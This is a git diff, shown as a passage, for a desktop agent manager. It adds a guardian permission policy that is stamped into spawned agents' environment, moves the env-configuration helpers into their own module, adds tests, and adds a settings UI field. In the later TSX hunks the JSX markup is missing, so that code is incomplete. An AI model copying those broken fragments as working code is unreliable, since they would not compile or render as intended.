layer("dont-ask"); + assert_eq!( + resolve_guardian_policy(layers.iter()), + GuardianPermissionPolicy::Lockdown, + "lockdown layer {lockdown_index} was weakened" + ); + } + } + + #[test] + fn absent_or_permissive_legacy_values_resolve_to_monitor() { + let empty = BTreeMap::new(); + let permissive = layer("accept-edits"); + assert_eq!( + resolve_guardian_policy([&empty, &permissive]), + GuardianPermissionPolicy::Monitor + ); + } + + #[test] + fn policy_key_matching_is_case_insensitive() { + let env = BTreeMap::from([("buzz_acp_permission_mode".to_string(), "PLAN".to_string())]); + assert_eq!( + resolve_guardian_policy([&env]), + GuardianPermissionPolicy::Lockdown + ); + } +} diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index 37927961ed..50e2f2680b 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -8,8 +8,8 @@ use crate::{ managed_agents::{ append_log_marker, known_acp_runtime, login_shell_path, managed_agent_log_path, missing_command_message, normalize_agent_args, open_log_file, resolve_command, - spawn_key_refusal, KnownAcpRuntime, ManagedAgentPairRuntime, ManagedAgentRecord, - ManagedAgentRuntimeKey, ManagedAgentSummary, + spawn_key_refusal, ManagedAgentPairRuntime, ManagedAgentRecord, ManagedAgentRuntimeKey, + ManagedAgentSummary, }, util::now_iso, }; @@ -33,7 +33,8 @@ pub use stop::{stop_managed_agent_process, stop_managed_agent_workspace_pair}; mod sweep; pub(crate) use sweep::sweep_untracked_bundle_harnesses; -type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); +mod env_config; +pub(crate) use env_config::{build_respond_to_env, configure_runtime_cli}; mod process; #[cfg(test)] @@ -290,6 +291,7 @@ pub fn build_managed_agent_summary( command: cmd, args, env: Default::default(), + guardian_policy: crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, } }); let effective_mcp_command = known_acp_runtime(&descriptor.command) @@ -364,87 +366,6 @@ pub fn find_managed_agent_mut<'a>( .ok_or_else(|| format!("agent {pubkey} not found")) } -/// Pure decision function for the inbound author gate env vars. -/// -/// Returns the env vars to **set** and the env vars to **remove**. Removal is -/// belt-and-suspenders: an inherited parent env var must not leak into a -/// child agent and silently change its security posture. -/// -/// The `owner_hex` argument is the current workspace owner pubkey. It's used -/// as a fallback for legacy records (`auth_tag.is_none()`) — without it, the -/// harness's owner cache stays empty and `owner-only` / `allowlist` modes -/// drop everything. -/// -/// Returns `Err(...)` if the record's allowlist fails validation. The harness -/// validates too, but doing it here means we never spawn a doomed process. -pub(crate) fn build_respond_to_env( - record: &ManagedAgentRecord, - owner_hex: Option<&str>, -) -> Result { - // Defensive re-validation: an on-disk record could have been hand-edited. - let normalized = super::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?; - if record.respond_to == super::types::RespondTo::Allowlist && normalized.is_empty() { - return Err( - "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), - ); - } - - let mut set: Vec<(&'static str, String)> = Vec::new(); - let mut remove: Vec<&'static str> = Vec::new(); - - set.push(( - "BUZZ_ACP_RESPOND_TO", - record.respond_to.as_str().to_string(), - )); - - if record.respond_to == super::types::RespondTo::Allowlist { - set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); - } else { - remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); - } - - // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without - // it the harness can't resolve the owner, and owner-dependent gate modes - // would drop every event. Forwarding the workspace owner pubkey via - // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records - // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before. - if record.auth_tag.is_none() { - if let Some(owner) = owner_hex { - set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - - Ok((set, remove)) -} - -pub(crate) fn configure_runtime_cli( - command: &mut std::process::Command, - runtime: Option<&KnownAcpRuntime>, -) { - let Some(runtime) = runtime else { - return; - }; - if runtime.id != "claude" { - return; - } - if let Some(cli_path) = runtime.underlying_cli.and_then(resolve_command) { - // On Windows, `.cmd` and `.bat` files are batch shims — they cannot be - // passed directly to `CreateProcess` and cause EINVAL when the Claude - // adapter tries to spawn them (issue #2397). Skip setting - // `CLAUDE_CODE_EXECUTABLE` for shim paths so the adapter falls back to - // its own PATH lookup and finds the real binary instead. - // Non-Windows: `.cmd`/`.bat` are valid executables and must be assigned. - if should_skip_claude_executable(&cli_path, cfg!(windows)) { - return; - } - command.env("CLAUDE_CODE_EXECUTABLE", cli_path); - } -} - /// Spawn an agent process without holding any locks on records or runtimes. /// Returns the child process and log path on success. The caller is responsible /// for updating `ManagedAgentRecord` fields and inserting into the runtimes map. @@ -578,6 +499,7 @@ pub fn spawn_agent_child( } command.env("RUST_LOG", child_rust_log_filter()); command.env("BUZZ_PRIVATE_KEY", &record.private_key_nsec); + command.env("BUZZ_MANAGED_AGENT_PUBKEY", &record.pubkey); command.env("BUZZ_RELAY_URL", &effective_relay_url); command.env("BUZZ_ACP_LAZY_POOL", if lazy { "true" } else { "false" }); command.env("BUZZ_ACP_AGENT_COMMAND", &resolved_agent_command); @@ -590,9 +512,35 @@ pub fn spawn_agent_child( command.env("BUZZ_ACP_MCP_COMMAND", ""); } } + // Codex's Chrome extension broker is owned by the Codex host and is not + // exposed through ACP. Give Buzz-managed Codex sessions an independent, + // isolated browser boundary via the official Playwright MCP server instead. + // Pin the package version so agent startup cannot silently change behavior. + if known_acp_runtime(effective_command).is_some_and(|runtime| runtime.id == "codex") { + if let Some(npx) = resolve_command("npx") { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", npx); + command.env( + "BUZZ_ACP_BROWSER_MCP_ARGS", + r#"["--yes","@playwright/mcp@0.0.78","--browser","chrome","--isolated"]"#, + ); + } else { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", ""); + command.env("BUZZ_ACP_BROWSER_MCP_ARGS", "[]"); + } + } else { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", ""); + command.env("BUZZ_ACP_BROWSER_MCP_ARGS", "[]"); + } // Enable MCP hook tools (_Stop, _PostCompact) for agents that need them. // Uses "*" because build_mcp_servers() hard-codes the server name to "buzz-mcp". let runtime_meta = known_acp_runtime(effective_command); + if let Some(runtime) = runtime_meta { + crate::commands::numbat_findings::prepare_numbat_monitoring_async( + app.clone(), + runtime.id.to_string(), + record.pubkey.clone(), + ); + } if runtime_meta.is_some_and(|r| r.mcp_hooks) { command.env("MCP_HOOK_SERVERS", "*"); } @@ -857,9 +805,16 @@ pub fn spawn_agent_child( // applied. Writing it last lets user-provided values win over every Buzz-set env // written above — reserved keys were already stripped from descriptor.env so they // cannot clobber BUZZ_PRIVATE_KEY, NOSTR_PRIVATE_KEY, etc. + // Managed agents are monitor-first, while the layered descriptor may + // explicitly select lockdown. Resolve it at the spawn boundary so an + // absent setting never inherits an unsafe ambient parent value. for (key, value) in &descriptor.env { command.env(key, value); } + // Guardian policy is a security boundary. Stamp the resolved value after + // the general environment so ambient or layered data cannot overwrite it + // at the process boundary. + apply_guardian_permission_env(&mut command, descriptor.guardian_policy); configure_runtime_cli(&mut command, runtime_meta); // Buzz shared compute is stored as a native provider; derive the OpenAI-compatible @@ -958,6 +913,13 @@ pub fn spawn_agent_child( }) } +fn apply_guardian_permission_env( + command: &mut std::process::Command, + policy: crate::managed_agents::readiness::GuardianPermissionPolicy, +) { + command.env("BUZZ_ACP_PERMISSION_MODE", policy.as_env_value()); +} + fn child_rust_log_filter() -> String { match std::env::var("RUST_LOG") { Ok(existing) if existing.contains("buzz_acp") => existing, @@ -1023,5 +985,8 @@ pub fn start_managed_agent_process( Ok(()) } +#[cfg(test)] +mod guardian_policy_tests; + #[cfg(test)] mod tests; diff --git a/desktop/src-tauri/src/managed_agents/runtime/env_config.rs b/desktop/src-tauri/src/managed_agents/runtime/env_config.rs new file mode 100644 index 0000000000..27e1a21db1 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/runtime/env_config.rs @@ -0,0 +1,85 @@ +use std::process::Command; + +use crate::managed_agents::{resolve_command, KnownAcpRuntime, ManagedAgentRecord}; + +type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); + +/// Pure decision function for the inbound author gate env vars. +/// +/// Returns the env vars to **set** and the env vars to **remove**. Removal is +/// belt-and-suspenders: an inherited parent env var must not leak into a +/// child agent and silently change its security posture. +/// +/// The `owner_hex` argument is the current workspace owner pubkey. It's used +/// as a fallback for legacy records (`auth_tag.is_none()`) — without it, the +/// harness's owner cache stays empty and `owner-only` / `allowlist` modes +/// drop everything. +/// +/// Returns `Err(...)` if the record's allowlist fails validation. The harness +/// validates too, but doing it here means we never spawn a doomed process. +pub(crate) fn build_respond_to_env( + record: &ManagedAgentRecord, + owner_hex: Option<&str>, +) -> Result { + let normalized = + crate::managed_agents::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?; + if record.respond_to == crate::managed_agents::types::RespondTo::Allowlist + && normalized.is_empty() + { + return Err( + "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), + ); + } + + let mut set: Vec<(&'static str, String)> = Vec::new(); + let mut remove: Vec<&'static str> = Vec::new(); + + set.push(( + "BUZZ_ACP_RESPOND_TO", + record.respond_to.as_str().to_string(), + )); + + if record.respond_to == crate::managed_agents::types::RespondTo::Allowlist { + set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); + } else { + remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); + } + + // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without + // it the harness can't resolve the owner, and owner-dependent gate modes + // would drop every event. Forwarding the workspace owner pubkey via + // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records + // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before. + if record.auth_tag.is_none() { + if let Some(owner) = owner_hex { + set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + + Ok((set, remove)) +} + +pub(crate) fn configure_runtime_cli(command: &mut Command, runtime: Option<&KnownAcpRuntime>) { + let Some(runtime) = runtime else { + return; + }; + if runtime.id != "claude" { + return; + } + if let Some(cli_path) = runtime.underlying_cli.and_then(resolve_command) { + // On Windows, `.cmd` and `.bat` files are batch shims — they cannot be + // passed directly to `CreateProcess` and cause EINVAL when the Claude + // adapter tries to spawn them (issue #2397). Skip setting + // `CLAUDE_CODE_EXECUTABLE` for shim paths so the adapter falls back to + // its own PATH lookup and finds the real binary instead. + // Non-Windows: `.cmd`/`.bat` are valid executables and must be assigned. + if super::should_skip_claude_executable(&cli_path, cfg!(windows)) { + return; + } + command.env("CLAUDE_CODE_EXECUTABLE", cli_path); + } +} diff --git a/desktop/src-tauri/src/managed_agents/runtime/guardian_policy_tests.rs b/desktop/src-tauri/src/managed_agents/runtime/guardian_policy_tests.rs new file mode 100644 index 0000000000..5fe755085c --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/runtime/guardian_policy_tests.rs @@ -0,0 +1,51 @@ +#[test] +fn defaults_managed_agents_to_monitor() { + assert_eq!( + crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor.as_env_value(), + "default", + ); +} + +#[test] +fn preserves_explicit_lockdown() { + assert_eq!( + crate::managed_agents::readiness::GuardianPermissionPolicy::Lockdown.as_env_value(), + "dont-ask" + ); +} + +fn command_env_value(command: &std::process::Command, key: &str) -> Option { + command.get_envs().find_map(|(candidate, value)| { + (candidate == key).then(|| value.map(|value| value.to_string_lossy().into_owned())) + })? +} + +#[test] +fn spawn_boundary_injects_monitor_when_policy_is_absent() { + let mut command = std::process::Command::new("buzz-acp"); + + super::apply_guardian_permission_env( + &mut command, + crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, + ); + + assert_eq!( + command_env_value(&command, "BUZZ_ACP_PERMISSION_MODE").as_deref(), + Some("default") + ); +} + +#[test] +fn spawn_boundary_injects_explicit_lockdown_override() { + let mut command = std::process::Command::new("buzz-acp"); + + super::apply_guardian_permission_env( + &mut command, + crate::managed_agents::readiness::GuardianPermissionPolicy::Lockdown, + ); + + assert_eq!( + command_env_value(&command, "BUZZ_ACP_PERMISSION_MODE").as_deref(), + Some("dont-ask") + ); +} diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash.rs b/desktop/src-tauri/src/managed_agents/spawn_hash.rs index 648cc62bbe..f452280a57 100644 --- a/desktop/src-tauri/src/managed_agents/spawn_hash.rs +++ b/desktop/src-tauri/src/managed_agents/spawn_hash.rs @@ -84,6 +84,8 @@ pub(crate) fn spawn_config_hash( command: cmd, args, env: Default::default(), + guardian_policy: + crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, } }); let runtime_meta = known_acp_runtime(&descriptor.command); @@ -102,6 +104,7 @@ pub(crate) fn spawn_config_hash( // Effective env layering (baked floor → runtime metadata → definition env // → global → persona → agent). BTreeMap iteration is ordered, deterministic. descriptor.env.hash(&mut hasher); + descriptor.guardian_policy.hash(&mut hasher); // Record fields the spawn env writes read directly. The relay is hashed // resolved: every record spawns on the workspace relay (legacy pins diff --git a/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs b/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs index fbaf1f5274..f3727598c0 100644 --- a/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs +++ b/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs @@ -356,7 +356,7 @@ test("test_foreign_entry_with_no_local_copy_stays_unselected", () => { BOB, ); - assert.equal(personas[0].id, "catalog:" + ALICE + ":reviewer"); + assert.equal(personas[0].id, `catalog:${ALICE}:reviewer`); assert.equal(personas[0].isActive, false); }); @@ -377,7 +377,7 @@ test("test_catalog_source_match_is_scoped_to_the_publishing_owner", () => { ALICE, ); - assert.equal(personas[0].id, "catalog:" + BOB + ":reviewer"); + assert.equal(personas[0].id, `catalog:${BOB}:reviewer`); assert.equal(personas[0].isActive, false); }); diff --git a/desktop/src/features/agents/ui/AgentConfigFields.tsx b/desktop/src/features/agents/ui/AgentConfigFields.tsx index 1bd8af8976..df12a84910 100644 --- a/desktop/src/features/agents/ui/AgentConfigFields.tsx +++ b/desktop/src/features/agents/ui/AgentConfigFields.tsx @@ -54,27 +54,26 @@ import { } from "@/features/agents/ui/buzzAgentModelTuningFields"; import { SettingsOptionGroup } from "@/features/settings/ui/SettingsOptionGroup"; import { AdvancedRequiredBadge } from "./AdvancedRequiredBadge"; +import { GuardianPolicyField } from "./GuardianPolicyField"; +import { GUARDIAN_POLICY_ENV } from "./guardianPolicy"; import { getGlobalAgentCredentialState } from "./globalAgentCredentialState"; - export const EMPTY_GLOBAL_CONFIG: GlobalAgentConfig = { env_vars: {}, provider: null, model: null, preferred_runtime: null, }; - /** Baked env keys that route to structured controls, not the generic env editor. */ const BAKED_STRUCTURED_KEYS = new Set([ "BUZZ_AGENT_PROVIDER", "BUZZ_AGENT_MODEL", BUZZ_AGENT_THINKING_EFFORT, + GUARDIAN_POLICY_ENV, ]); - const PROGRESSIVE_FIELDS_TRANSITION = { duration: 0.22, ease: [0.23, 1, 0.32, 1], } as const; - type AgentConfigDisclosure = | "full" | "onboarding-essential" @@ -866,7 +865,11 @@ export function AgentConfigFields({ /> ) : null} - + {showAdvancedFields ? ( + + ) : null} {showAdvancedFields ? (
+ ) : null} +
+ + + ); + })} + {error ? ( +

+ Guardian is temporarily unavailable: {error} +

+ ) : null} + + ); +} diff --git a/desktop/src/features/agents/ui/agentConfigControls.tsx b/desktop/src/features/agents/ui/agentConfigControls.tsx index 1a431d1f91..bf197cd67f 100644 --- a/desktop/src/features/agents/ui/agentConfigControls.tsx +++ b/desktop/src/features/agents/ui/agentConfigControls.tsx @@ -110,6 +110,7 @@ export function AgentConfigTextInput({ } export function AgentDropdownSelect({ + ariaDescribedBy, ariaRequired, className, disabled = false, @@ -125,6 +126,7 @@ export function AgentDropdownSelect({ testId, value, }: { + ariaDescribedBy?: string; ariaRequired?: boolean; className?: string; disabled?: boolean; @@ -172,6 +174,7 @@ export function AgentDropdownSelect({